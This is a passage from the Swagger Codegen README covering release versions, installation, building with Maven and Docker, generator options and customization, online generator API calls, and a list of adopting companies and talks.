[2.4.6](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.4.6) | 2019-06-28 | 1.0, 1.1, 1.2, 2.0 | [tag v2.4.6](https://github.com/swagger-api/swagger-codegen/tree/v2.4.6) [2.4.5](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.4.5) | 2019-04-25 | 1.0, 1.1, 1.2, 2.0 | [tag v2.4.5](https://github.com/swagger-api/swagger-codegen/tree/v2.4.5) [2.4.4](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.4.4) | 2019-03-26 | 1.0, 1.1, 1.2, 2.0 | [tag v2.4.4](https://github.com/swagger-api/swagger-codegen/tree/v2.4.4) [2.4.2](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.4.2) | 2019-02-18 | 1.0, 1.1, 1.2, 2.0 | [tag v2.4.2](https://github.com/swagger-api/swagger-codegen/tree/v2.4.2) [2.4.1](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.4.1) | 2019-01-16 | 1.0, 1.1, 1.2, 2.0 | [tag v2.4.1](https://github.com/swagger-api/swagger-codegen/tree/v2.4.1) [2.4.0](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.4.0) | 2018-11-30 | 1.0, 1.1, 1.2, 2.0 | [tag v2.4.0](https://github.com/swagger-api/swagger-codegen/tree/v2.4.0) [2.3.1](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.3.1) | 2018-01-17 | 1.0, 1.1, 1.2, 2.0 | [tag v2.3.1](https://github.com/swagger-api/swagger-codegen/tree/v2.3.1) [2.3.0](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.3.0) | 2017-12-21 | 1.0, 1.1, 1.2, 2.0 | [tag v2.3.0](https://github.com/swagger-api/swagger-codegen/tree/v2.3.0) [2.2.3](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.3) | 2017-07-15 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.3](https://github.com/swagger-api/swagger-codegen/tree/v2.2.3) [2.2.2](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.2) | 2017-03-01 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.2](https://github.com/swagger-api/swagger-codegen/tree/v2.2.2) [2.2.1](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.1) | 2016-08-07 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.1](https://github.com/swagger-api/swagger-codegen/tree/v2.2.1) [2.1.6](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.1.6) | 2016-04-06 | 1.0, 1.1, 1.2, 2.0 | [tag v2.1.6](https://github.com/swagger-api/swagger-codegen/tree/v2.1.6) 2.0.17 | 2014-08-22 | 1.1, 1.2 | [tag v2.0.17](https://github.com/swagger-api/swagger-codegen/tree/2.0.17) 1.0.4 | 2012-04-12 | 1.0, 1.1 | [tag v1.0.4](https://github.com/swagger-api/swagger-codegen/tree/swagger-codegen_2.9.1-1.1) ### Prerequisites If you're looking for the latest stable version, you can grab it directly from Maven.org (Java 8 runtime at a minimum): ```sh wget http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.4.10/swagger-codegen-cli-2.4.10.jar -O swagger-codegen-cli.jar java -jar swagger-codegen-cli.jar help ``` For Windows users, you will need to install [wget](http://gnuwin32.sourceforge.net/packages/wget.htm) or you can use Invoke-WebRequest in PowerShell (3.0+), e.g. `Invoke-WebRequest -OutFile swagger-codegen-cli.jar http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.4.10/swagger-codegen-cli-2.4.10.jar` On a mac, it's even easier with `brew`: ```sh brew install swagger-codegen ``` To build from source, you need the following installed and available in your `$PATH:` * [Java 8+](http://java.oracle.com) * [Apache maven 3.3.3 or greater](http://maven.apache.org/) #### OS X Users Don't forget to install Java 8+. Export `JAVA_HOME` in order to use the supported Java version: ```sh export JAVA_HOME=`/usr/libexec/java_home -v 1.8` export PATH=${JAVA_HOME}/bin:$PATH ``` ### Building After cloning the project, you can build it from source with this command: ```sh mvn clean package ``` If you don't have maven installed, you may directly use the included [maven wrapper](https://github.com/takari/maven-wrapper), and build with the command: ```sh ./mvnw clean package ``` ### Homebrew To install, run `brew install swagger-codegen` Here is an example usage: ```sh swagger-codegen generate -i http://petstore.swagger.io/v2/swagger.json -l ruby -o /tmp/test/ ``` ### Docker #### Development in docker You can use `run-in-docker.sh` to do all development. This script maps your local repository to `/gen` in the docker container. It also maps `~/.m2/repository` to the appropriate container location. To execute `mvn package`: ```sh git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen ./run-in-docker.sh mvn package ``` Build artifacts are now accessible in your working directory. Once built, `run-in-docker.sh` will act as an executable for swagger-codegen-cli. To generate code, you'll need to output to a directory under `/gen` (e.g. `/gen/out`). For example: ```sh ./run-in-docker.sh help # Executes 'help' command for swagger-codegen-cli ./run-in-docker.sh langs # Executes 'langs' command for swagger-codegen-cli ./run-in-docker.sh /gen/bin/go-petstore.sh # Builds the Go client ./run-in-docker.sh generate -i modules/swagger-codegen/src/test/resources/2_0/petstore.yaml \ -l go -o /gen/out/go-petstore -DpackageName=petstore # generates go client, outputs locally to ./out/go-petstore ``` #### Run Docker in Vagrant Prerequisite: install [Vagrant](https://www.vagrantup.com/downloads.html) and [VirtualBox](https://www.virtualbox.org/wiki/Downloads). ```sh git clone http://github.com/swagger-api/swagger-codegen.git cd swagger-codegen vagrant up vagrant ssh cd /vagrant ./run-in-docker.sh mvn package ``` #### Public Pre-built Docker images - https://hub.docker.com/r/swaggerapi/swagger-generator/ (official web service) - https://hub.docker.com/r/swaggerapi/swagger-codegen-cli/ (official CLI) ##### Swagger Generator Docker Image The Swagger Generator image can act as a self-hosted web application and API for generating code. This container can be incorporated into a CI pipeline, and requires at least two HTTP requests and some docker orchestration to access generated code. Example usage (note this assumes `jq` is installed for command line processing of JSON): ```sh # Start container and save the container id CID=$(docker run -d swaggerapi/swagger-generator) # allow for startup sleep 5 # Get the IP of the running container GEN_IP=$(docker inspect --format '{{.NetworkSettings.IPAddress}}' $CID) # Execute an HTTP request and store the download link RESULT=$(curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" }' 'http://localhost:8188/api/gen/clients/javascript' | jq '.link' | tr -d '"') # Download the generated zip and redirect to a file curl $RESULT > result.zip # Shutdown the swagger generator image docker stop $CID && docker rm $CID ``` In the example above, `result.zip` will contain the generated client. ##### Swagger Codegen CLI Docker Image The Swagger Codegen image acts as a standalone executable. It can be used as an alternative to installing via homebrew, or for developers who are unable to install Java or upgrade the installed version. To generate code with this image, you'll need to mount a local location as a volume. Example: ```sh docker run --rm -v ${PWD}:/local swaggerapi/swagger-codegen-cli generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l go \ -o /local/out/go ``` (On Windows replace `${PWD}` with `%CD%`) The generated code will be located under `./out/go` in the current directory. ## Getting Started To generate a PHP client for http://petstore.swagger.io/v2/swagger.json, please run the following ```sh git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen mvn clean package java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l php \ -o /var/tmp/php_api_client ``` (if you're on Windows, replace the last command with `java -jar modules\swagger-codegen-cli\target\swagger-codegen-cli.jar generate -i http://petstore.swagger.io/v2/swagger.json -l php -o c:\temp\php_api_client`) You can also download the JAR (latest release) directly from [maven.org](http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.4.10/swagger-codegen-cli-2.4.10.jar) To get a list of **general** options available, please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar help generate` To get a list of PHP specified options (which can be passed to the generator with a config file via the `-c` option), please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l php` ## Generators ### To generate a sample client library You can build a client against the swagger sample [petstore](http://petstore.swagger.io) API as follows: ```sh ./bin/java-petstore.sh ``` (On Windows, run `.\bin\windows\java-petstore.bat` instead) This will run the generator with this command: ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java ``` with a number of options. You can get the options with the `help generate` command (below only shows partial results): ``` NAME swagger-codegen-cli generate - Generate code with chosen lang SYNOPSIS swagger-codegen-cli generate [(-a <authorization> | --auth <authorization>)] [--additional-properties <additional properties>...] [--api-package <api package>] [--artifact-id <artifact id>] [--artifact-version <artifact version>] [(-c <configuration file> | --config <configuration file>)] [-D <system properties>...] [--git-repo-id <git repo id>] [--git-user-id <git user id>] [--group-id <group id>] [--http-user-agent <http user agent>] (-i <spec file> | --input-spec <spec file>) [--ignore-file-override <ignore file override location>] [--import-mappings <import mappings>...] [--instantiation-types <instantiation types>...] [--invoker-package <invoker package>] (-l <language> | --lang <language>) [--language-specific-primitives <language specific primitives>...] [--library <library>] [--model-name-prefix <model name prefix>] [--model-name-suffix <model name suffix>] [--model-package <model package>] [(-o <output directory> | --output <output directory>)] [--release-note <release note>] [--remove-operation-id-prefix] [--reserved-words-mappings <reserved word mappings>...] [(-s | --skip-overwrite)] [(-t <template directory> | --template-dir <template directory>)] [--type-mappings <type mappings>...] [(-v | --verbose)] OPTIONS -a <authorization>, --auth <authorization> adds authorization headers when fetching the swagger definitions remotely. Pass in a URL-encoded string of name:header with a comma separating multiple values ...... (results omitted) -v, --verbose verbose mode ``` You can then compile and run the client, as well as unit tests against it: ```sh cd samples/client/petstore/java mvn package ``` Other languages have petstore samples, too: ```sh ./bin/android-petstore.sh ./bin/java-petstore.sh ./bin/objc-petstore.sh ``` ### Generating libraries from your server It's just as easy--just use the `-i` flag to point to either a server or file. ### Modifying the client library format Don't like the default swagger client syntax? Want a different language supported? No problem! Swagger Codegen processes mustache templates with the [jmustache](https://github.com/samskivert/jmustache) engine. You can modify our templates or make your own. You can look at `modules/swagger-codegen/src/main/resources/${your-language}` for examples. To make your own templates, create your own files and use the `-t` flag to specify your template folder. It actually is that easy. ### Making your own codegen modules If you're starting a project with a new language and don't see what you need, Swagger Codegen can help you create a project to generate your own libraries: ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar meta \ -o output/myLibrary -n myClientCodegen -p com.my.company.codegen ``` This will write, in the folder `output/myLibrary`, all the files you need to get started, including a `README.md. Once modified and compiled, you can load your library with the codegen and generate clients with your own, custom-rolled logic. You would then compile your library in the `output/myLibrary` folder with `mvn package` and execute the codegen like such: ```sh java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` For Windows users, you will need to use `;` instead of `:` in the classpath, e.g. ``` java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar;modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` Note the `myClientCodegen` is an option now, and you can use the usual arguments for generating your library: ```sh java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar \ io.swagger.codegen.SwaggerCodegen generate -l myClientCodegen\ -i http://petstore.swagger.io/v2/swagger.json \ -o myClient ``` ### Where is Javascript??? See our [javascript library](http://github.com/swagger-api/swagger-js)--it's completely dynamic and doesn't require static code generation. There is a third-party component called [swagger-js-codegen](https://github.com/wcandillon/swagger-js-codegen) that can generate angularjs or nodejs source code from a OpenAPI Specification. :exclamation: On Dec 7th 2015, a Javascript API client generator has been added by @jfiala. ### Generating a client from local files If you don't want to call your server, you can save the OpenAPI Spec files into a directory and pass an argument to the code generator like this: ``` -i ./modules/swagger-codegen/src/test/resources/2_0/petstore.json ``` Great for creating libraries on your ci server, from the [Swagger Editor](http://editor.swagger.io)... or while coding on an airplane. ### Selective generation You may not want to generate *all* models in your project. Likewise you may want just one or two apis to be written. If that's the case, you can use system properties to control the output: The default is generate *everything* supported by the specific library. Once you enable a feature, it will restrict the contents generated: ```sh # generate only models java -Dmodels {opts} # generate only apis java -Dapis {opts} # generate only supporting files java -DsupportingFiles # generate models and supporting files java -Dmodels -DsupportingFiles ``` To control the specific files being generated, you can pass a CSV list of what you want: ```sh # generate the User and Pet models only -Dmodels=User,Pet # generate the User model and the supportingFile `StringUtil.java`: -Dmodels=User -DsupportingFiles=StringUtil.java ``` To control generation of docs and tests for api and models, pass false to the option. For api, these options are `-DapiTests=false` and `-DapiDocs=false`. For models, `-DmodelTests=false` and `-DmodelDocs=false`. These options default to true and don't limit the generation of the feature options listed above (like `-Dapi`): ```sh # generate only models (with tests and documentation) java -Dmodels {opts} # generate only models (with tests but no documentation) java -Dmodels -DmodelDocs=false {opts} # generate only User and Pet models (no tests and no documentation) java -Dmodels=User,Pet -DmodelTests=false {opts} # generate only apis (without tests) java -Dapis -DapiTests=false {opts} # generate only apis (modelTests option is ignored) java -Dapis -DmodelTests=false {opts} ``` When using selective generation, _only_ the templates needed for the specific generation will be used. ### Ignore file format Swagger Codegen supports a `.swagger-codegen-ignore` file, similar to `.gitignore` or `.dockerignore` you're probably already familiar with. The ignore file allows for better control over overwriting existing files than the `--skip-overwrite` flag. With the ignore file, you can specify individual files or directories can be ignored. This can be useful, for example if you only want a subset of the generated code. Examples: ```sh # Swagger Codegen Ignore # Lines beginning with a # are comments # This should match build.sh located anywhere. build.sh # Matches build.sh in the root /build.sh # Exclude all recursively docs/** # Explicitly allow files excluded by other rules !docs/UserApi.md # Recursively exclude directories named Api # You can't negate files below this directory. src/**/Api/ # When this file is nested under /Api (excluded above), # this rule is ignored because parent directory is excluded by previous rule. !src/**/PetApiTests.cs # Exclude a single, nested file explicitly src/IO.Swagger.Test/Model/AnimalFarmTests.cs ``` The `.swagger-codegen-ignore` file must exist in the root of the output directory. Upon first code generation, you may also pass the CLI option `--ignore-file-override=/path/to/ignore_file` for greater control over generated outputs. Note that this is a complete override, and will override the `.swagger-codegen-ignore` file in an output directory when regenerating code. Editor support for `.swagger-codegen-ignore` files is available in IntelliJ via the [.ignore plugin](https://plugins.jetbrains.com/plugin/7495--ignore). ### Customizing the generator There are different aspects of customizing the code generator beyond just creating or modifying templates. Each language has a supporting configuration file to handle different type mappings, etc: ```sh $ ls -1 modules/swagger-codegen/src/main/java/io/swagger/codegen/languages/ AbstractJavaJAXRSServerCodegen.java AbstractTypeScriptClientCodegen.java ... (results omitted) TypeScriptAngularClientCodegen.java TypeScriptNodeClientCodegen.java ``` Each of these files creates reasonable defaults so you can get running quickly. But if you want to configure package names, prefixes, model folders, etc. you can use a json config file to pass the values. ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java \ -c path/to/config.json ``` and `config.json` contains the following as an example: ```json { "apiPackage" : "petstore" } ``` Supported config options can be different per language. Running `config-help -l {lang}` will show available options. **These options are applied via configuration file (e.g. config.json) or by passing them with `java -jar swagger-codegen-cli.jar -D{optionName}={optionValue}`**. (If `-D{optionName}` does not work, please open a [ticket](https://github.com/swagger-api/swagger-codegen/issues/new) and we'll look into it) ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l java ``` Output ``` CONFIG OPTIONS modelPackage package for generated models apiPackage package for generated api classes ...... (results omitted) library library template (sub-template) to use: jersey1 - HTTP client: Jersey client 1.18. JSON processing: Jackson 2.4.2 jersey2 - HTTP client: Jersey client 2.6 feign - HTTP client: Netflix Feign 8.1.1. JSON processing: Jackson 2.6.3 okhttp-gson (default) - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 retrofit - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 (Retrofit 1.9.0) retrofit2 - HTTP client: OkHttp 2.5.0. JSON processing: Gson 2.4 (Retrofit 2.0.0-beta2) google-api-client - HTTP client: google-api-client 1.23.0. JSON processing: Jackson 2.8.9 rest-assured - HTTP client: rest-assured : 3.1.0. JSON processing: Gson 2.6.1. Only for Java8 ``` Your config file for Java can look like ```json { "groupId":"com.my.company", "artifactId":"MyClient", "artifactVersion":"1.2.0", "library":"feign" } ``` For all the unspecified options default values will be used. Another way to override default options is to extend the config class for the specific language. To change, for example, the prefix for the Objective-C generated files, simply subclass the `ObjcClientCodegen.java`: ```java package com.mycompany.swagger.codegen; import io.swagger.codegen.languages.*; public class MyObjcCodegen extends ObjcClientCodegen { static { PREFIX = "HELO"; } } ``` and specify the `classname` when running the generator: ``` -l com.mycompany.swagger.codegen.MyObjcCodegen ``` Your subclass will now be loaded and overrides the `PREFIX` value in the superclass. ### Bringing your own models Sometimes you don't want a model generated. In this case, you can simply specify an import mapping to tell the codegen what _not_ to create. When doing this, every location that references a specific model will refer back to your classes. Note, this may not apply to all languages... To specify an import mapping, use the `--import-mappings` argument and specify the model-to-import logic as such: ``` --import-mappings Pet=my.models.MyPet ``` Or for multiple mappings: ``` --import-mappings Pet=my.models.MyPet,Order=my.models.MyOrder ``` or ``` --import-mappings Pet=my.models.MyPet --import-mappings Order=my.models.MyOrder ``` ### Validating your OpenAPI Spec You have options. The easiest is to use our [online validator](https://github.com/swagger-api/validator-badge) which not only will let you validate your spec, but with the debug flag, you can see what's wrong with your spec. For example: http://online.swagger.io/validator/debug?url=http://petstore.swagger.io/v2/swagger.json ### Generating dynamic html api documentation To do so, just use the `-l dynamic-html` flag when reading a spec file. This creates HTML documentation that is available as a single-page application with AJAX. To view the documentation: ```sh cd samples/dynamic-html/ npm install node . ``` Which launches a node.js server so the AJAX calls have a place to go. ### Generating static html api documentation To do so, just use the `-l html` flag when reading a spec file. This creates a single, simple HTML file with embedded css so you can ship it as an email attachment, or load it from your filesystem: ```sh cd samples/html/ open index.html ``` ### To build a server stub Please refer to https://github.com/swagger-api/swagger-codegen/wiki/Server-stub-generator-HOWTO for more information. ### To build the codegen library This will create the Swagger Codegen library from source. ```sh mvn package ``` Note! The templates are included in the library generated. If you want to modify the templates, you'll need to either repackage the library OR specify a path to your scripts ## Workflow Integration ### Maven Integration You can use the [swagger-codegen-maven-plugin](modules/swagger-codegen-maven-plugin/README.md) for integrating with your workflow, and generating any codegen target. ### Gradle Integration [Gradle Swagger Generator Plugin](https://github.com/int128/gradle-swagger-generator-plugin) is available for generating source code and API document. ## GitHub Integration To push the auto-generated SDK to GitHub, we provide `git_push.sh` to streamline the process. For example: 1) Create a new repository in GitHub (Ref: https://help.github.com/articles/creating-a-new-repository/) 2) Generate the SDK ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i modules/swagger-codegen/src/test/resources/2_0/petstore.json -l perl \ --git-user-id "swaggerapi" \ --git-repo-id "petstore-perl" \ --release-note "Github integration demo" \ -o /var/tmp/perl/petstore ``` 3) Push the SDK to GitHub ```sh cd /var/tmp/perl/petstore /bin/sh ./git_push.sh ``` ## Online generators One can also generate API client or server using the online generators (https://generator.swagger.io) For example, to generate Ruby API client, simply send the following HTTP request using curl: ```sh curl -X POST -H "content-type:application/json" -d '{"swaggerUrl":"http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/ruby ``` Then you will receieve a JSON response with the URL to download the zipped code. To customize the SDK, you can `POST` to `https://generator.swagger.io/gen/clients/{language}` with the following HTTP body: ```json { "options": {}, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` in which the `options` for a language can be obtained by submitting a `GET` request to `https://generator.swagger.io/api/gen/clients/{language}`: For example, `curl https://generator.swagger.io/api/gen/clients/python` returns ```json { "packageName":{ "opt":"packageName", "description":"python package name (convention: snake_case).", "type":"string", "default":"swagger_client" }, "packageVersion":{ "opt":"packageVersion", "description":"python package version.", "type":"string", "default":"1.0.0" }, "sortParamsByRequiredFlag":{ "opt":"sortParamsByRequiredFlag", "description":"Sort method arguments to place required parameters before optional parameters.", "type":"boolean", "default":"true" } } ``` To set package name to `pet_store`, the HTTP body of the request is as follows: ```json { "options": { "packageName": "pet_store" }, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` and here is the curl command: ```sh curl -H "Content-type: application/json" -X POST -d '{"options": {"packageName": "pet_store"},"swaggerUrl": "http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/python ``` Instead of using `swaggerUrl` with an URL to the OpenAPI/Swagger spec, one can include the spec in the JSON payload with `spec`, e.g. ```json { "options": {}, "spec": { "swagger": "2.0", "info": { "version": "1.0.0", "title": "Test API" }, ... } } ``` Guidelines for Contribution --------------------------- Please refer to this [page](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) Companies/Projects using Swagger Codegen ---------------------------------------- Here are some companies/projects using Swagger Codegen in production. To add your company/project to the list, please visit [README.md](https://github.com/swagger-api/swagger-codegen/blob/master/README.md) and click on the icon to edit the page. - [Acando](https://www.acando.de/) - [Accengage](https://www.accengage.com/) - [Accruent](https://www.accruent.com/) - [Activehours](https://www.activehours.com/) - [Actonica](https://www.actonica.com) - [Acunetix](https://www.acunetix.com/) - [Adaptant](https://www.adaptant.io/) - [Atlassian](https://www.atlassian.com/) - [Autodesk](http://www.autodesk.com/) - [Avenida Compras S.A.](https://www.avenida.com.ar) - [AYLIEN](http://aylien.com/) - [Balance Internet](https://www.balanceinternet.com.au/) - [beemo](http://www.beemo.eu) - [bitly](https://bitly.com) - [BeezUP](http://www.beezup.com) - [Box](https://box.com) - [Bufferfly Network](https://www.butterflynetinc.com/) - [Cachet Financial](http://www.cachetfinancial.com/) - [carpolo](http://www.carpolo.co/) - [Carus](https://www.carus.com/) - [Cisco](http://www.cisco.com/) - [CloudBoost](https://www.CloudBoost.io/) - [Cloudsmith](https://cloudsmith.io/) - [Conplement](http://www.conplement.de/) - [Cummins](http://www.cummins.com/) - [Cupix](http://www.cupix.com) - [DBBest Technologies](https://www.dbbest.com) - [DecentFoX](http://decentfox.com/) - [DocRaptor](https://docraptor.com) - [DocuSign](https://www.docusign.com) - [Elastic](https://www.elastic.co/) - [Ergon](http://www.ergon.ch/) - [Dell EMC](https://www.emc.com/) - [eureka](http://eure.jp/) - [everystory.us](http://everystory.us) - [Expected Behavior](http://www.expectedbehavior.com/) - [fashionTrade](https://www.fashiontrade.com/) - [Fastly](https://www.fastly.com/) - [FINRA](https://github.com/FINRAOS/herd/) - [Flat](https://flat.io) - [Finder](http://en.finder.pl/) - [Fitwell](https://fitwell.co/) - [FH Münster - University of Applied Sciences](http://www.fh-muenster.de) - [FormAPI](https://formapi.io/) - [Fotition](https://www.fotition.com/) - [Gear Zero Network](https://www.gearzero.ca) - [General Electric](https://www.ge.com/) - [Genesys - PureCloud](http://developer.mypurecloud.com/) - [Germin8](http://www.germin8.com) - [GigaSpaces](http://www.gigaspaces.com) - [GMO Pepabo](https://pepabo.com/en/) - [goTransverse](http://www.gotransverse.com/api) - [GraphHopper](https://graphhopper.com/) - [Gravitate Solutions](http://gravitatesolutions.com/) - [HashData](http://www.hashdata.cn/) - [Hewlett Packard Enterprise](https://hpe.com) - [High Technologies Center](http://htc-cs.com) - [Hootsuite](https://hootsuite.com/) - [Huawei Cloud](http://www.huaweicloud.com/en-us/product/cs.html) - [Husbanken](https://www.husbanken.no) - [IBM](https://www.ibm.com) - [IMS Health](http://www.imshealth.com/en/solution-areas/technology-and-applications) - [Individual Standard IVS](http://www.individual-standard.com) - [INSPIDE](http://www.inspide.com) - [Intent HQ](http://www.intenthq.com) - [Kabuku](http://www.kabuku.co.jp/en) - [Kurio](https://kurio.co.id) - [Kuroi](http://kuroiwebdesign.com/) - [Kuary](https://kuary.com/) - [Kubernetes](https://kubernetes.io/) - [LANDR Audio](https://www.landr.com/) - [Lascaux](http://www.lascaux.it/) - [Leanix](http://www.leanix.net/) - [Leica Geosystems AG](http://leica-geosystems.com) - [LiveAgent](https://www.ladesk.com/) - [LXL Tech](http://lxltech.com) - [Lyft](https://www.lyft.com/developers) - [MailMojo](https://mailmojo.no/) - [Metaswitch](https://www.metaswitch.com/) - [Mindera](http://mindera.com/) - [Mporium](http://mporium.com/) - [Neverfail](https://neverfail.com/) - [NexCap](http://www.nexess-solutions.com/fr/plateforme-iot/) - [NTT DATA](http://www.nttdata.com/) - [nViso](http://www.nviso.ch/) - [Okiok](https://www.okiok.com) - [Onedata](http://onedata.org) - [Open International Systems](https://openintl.com/) - [OrderCloud.io](http://ordercloud.io) - [OSDN](https://osdn.jp) - [PagerDuty](https://www.pagerduty.com) - [PagerTree](https://pagertree.com) - [Pepipost](https://www.pepipost.com) - [Peatio Tech](https://www.peatio.tech) - [Plexxi](http://www.plexxi.com) - [Pixoneye](http://www.pixoneye.com/) - [PostAffiliatePro](https://www.postaffiliatepro.com/) - [PracticeBird](https://www.practicebird.com/) - [Prill Tecnologia](http://www.prill.com.br) - [Prokarma](https://www.prokarma.com) - [QAdept](http://qadept.com/) - [QuantiModo](https://quantimo.do/) - [QuickBlox](https://quickblox.com/) - [Rapid7](https://rapid7.com/) - [Red Hat](https://www.redhat.com/) - [Reload! A/S](https://reload.dk/) - [REstore](https://www.restore.eu) - [REST United](https://restunited.com) - [Revault Sàrl](http://revault.ch) - [Riffyn](https://riffyn.com) - [Royal Bank of Canada (RBC)](http://www.rbc.com/canada.html) - [Saritasa](https://www.saritasa.com/) - [SAS](https://www.sas.com) - [SCOOP Software GmbH](http://www.scoop-software.de) - [SessionM](https://www.sessionm.com/) - [Shine Solutions](https://shinesolutions.com/) - [Simpfony](https://www.simpfony.com/) - [Skurt](http://www.skurt.com) - [Slamby](https://www.slamby.com/) - [SmartRecruiters](https://www.smartrecruiters.com/) - [snapCX](https://snapcx.io) - [SPINEN](http://www.spinen.com) - [Sponsoo](https://www.sponsoo.de) - [SRC](https://www.src.si/) - [Stardog Ventures](https://www.stardog.io) - [Stingray](http://www.stingray.com) - [StyleRecipe](http://stylerecipe.co.jp) - [Svenska Spel AB](https://www.svenskaspel.se/) - [Switch Database](https://www.switchdatabase.com/) - [TaskData](http://www.taskdata.com/) - [ThirdWatch.ai](https://www.thirdwatch.ai/) - [ThoughtWorks](https://www.thoughtworks.com) - [Tpay](https://tpay.com) - [Trexle](https://trexle.com/) - [Upwork](http://upwork.com/) - [uShip](https://www.uship.com/) - [VMware](https://vmware.com/) - [Viavi Solutions Inc.](https://www.viavisolutions.com) - [W.UP](http://wup.hu/?siteLang=en) - [Wealthfront](https://www.wealthfront.com/) - [Webever GmbH](https://www.webever.de/) - [WEXO A/S](https://www.wexo.dk/) - [XSky](http://www.xsky.com/) - [Yelp](http://www.yelp.com/) - [Zalando](https://tech.zalando.com) - [ZEEF.com](https://zeef.com/) - [zooplus](https://www.zooplus.com/) Presentations/Videos/Tutorials/Books ---------------------------------------- - 2011/08/31 - [Introducing Swagger](https://www.slideshare.net/fehguy/introducing-swagger) by [Tony Tam](https://twitter.com/fehguy) - 2014/05/22 - [Swagger APIs for Humans and Robots](https://www.slideshare.net/fehguy/swagger-apis-for-humans-and-robots-gluecon) by [Tony Tam](https://twitter.com/fehguy) at [Gluecon](http://gluecon.com/) - 2014/11/11 - [Genie 2.0: Second Wish Granted!](https://medium.com/netflix-techblog/genie-2-0-second-wish-granted-d888d79455c6) by [Tom Gianos](http://www.linkedin.com/in/thomasgianos/) and [Amit Sharma](https://www.linkedin.com/pub/amit-sharma/5/163/a83) @ [Netflix](https://www.netflix.com/) Big Data Platform Team - 2015/07/28 - [Enriching RESTful Services with Swagger](https://blog.philipphauer.de/enriching-restful-services-swagger/) by [Philipp Hauer](https://blog.philipphauer.de/) - 2015/11/11 - [Generate client stubs & document your REST-API using Swagger & Spring](https://www.youtube.com/watch?v=43GhBbP--oI) by [Johannes Fiala](https://github.com/jfiala) @ Devoxx Belgium 2015 - 2015/12/03 - [こんなに簡単! Swagger Codegenのカスタマイズ](http://qiita.com/Quramy/items/c583f3213f0b77ff1bac) by [Quramy](http://qiita.com/Quramy) - 2016/01/12 - [Generate client side code using Swagger Codegen](http://rnavagamuwa.com/open-source/generate-client-side-code-using-swagger-codegen/) by [RNAVAGAMUWA](http://rnavagamuwa.com/author/admin/) - 2016/01/15 - [How to end manual REST-API client coding](https://www.youtube.com/watch?v=RzZRdqZp6Oo) by [Johannes Fiala](https://github.com/jfiala) @ dotJS 2015 - 2016/04/27 - [Automated REST API Development](https://yos.io/2016/04/27/automated-api-development/) by [Yos Riady](https://www.linkedin.com/in/yosriady) - 2016/05/29 - [Generating Java Spring-MVC code from Swagger Spec](https://www.clianz.com/2016/05/29/java-mvc-swagger-gen/) by [@icha024](https://github.com/icha024) - 2016/07/22 - [Building Microservices? Here is what you should know](https://cloudncode.blog/2016/07/22/msa-getting-started/) by Sumit Maingi - 2016/08/23 - [Generating Dreamfactory Client SDKs based on Swagger API Definitions](http://blog.dreamfactory.com/generating-dreamfactory-client-sdks-based-on-swagger-api-definitions) by [Phil Schuler](https://github.com/philicious/) - 2016/09/28 - [1 UNBELIEVABLE TRICK TO CREATE AN EASY TO CONSUME API IN .NET](https://stapp.space/1-simple-trick-to-create-a-good-api-in-net/) by [Piotr Stapp](https://stapp.space/author/piotr-stapp/) - 2016/10/10 - [Using swagger-codegen with Marketo](http://developers.marketo.com/blog/using-swagger-codegen-with-marketo/) by [Kenny Elkington](http://developers.marketo.com/blog/using-swagger-codegen-with-marketo/) - 2016/10/12 - [Designing a Swagger API](https://sookocheff.com/post/api/swagger/) by [Kevin Sookocheff](https://sookocheff.com/) - 2016/11/05 - [How to generate a REST Application](https://www.youtube.com/watch?v=iyC9BWMe75Q) by [Johannes Fiala](https://github.com/jfiala) @ DevFest Vienna 2016 - 2016/11/10 - [Building an AEM API clients 